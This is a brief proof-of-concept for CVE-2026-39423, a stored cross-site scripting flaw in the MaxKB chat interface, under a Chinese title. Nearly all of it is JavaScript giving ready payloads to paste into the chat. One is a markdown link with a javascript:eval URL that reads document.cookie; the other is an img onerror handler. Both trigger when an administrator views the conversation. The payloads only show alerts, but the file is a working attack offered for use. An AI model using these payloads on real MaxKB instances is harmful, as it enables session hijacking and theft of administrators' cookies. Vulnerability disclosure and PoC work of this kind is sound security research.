CVE-2026-39423 MaxKB存储型XSS漏洞

/** * PoC for CVE-2026-39423 (MaxKB Eval Injection -> Stored XSS) * * Description: * This payload demonstrates how a malicious user can inject JavaScript * via the chat interface. The Markdown renderer interprets the input * in a way that triggers an eval(), leading to Stored XSS. * * Usage: * Send the following payload in the MaxKB chat interface. * When an admin views the conversation, the alert will trigger. */ // Payload to be sent in the chat message // Attempting to trigger eval injection through markdown parsing var payload = "[xss](javascript:eval('alert(document.cookie)'))"; // Alternatively, if the markdown engine allows script tags or event handlers // var payload = "<img src=x onerror=eval('alert(1)')>"; // Log for demonstration console.log("Send this string in the chat: " + payload);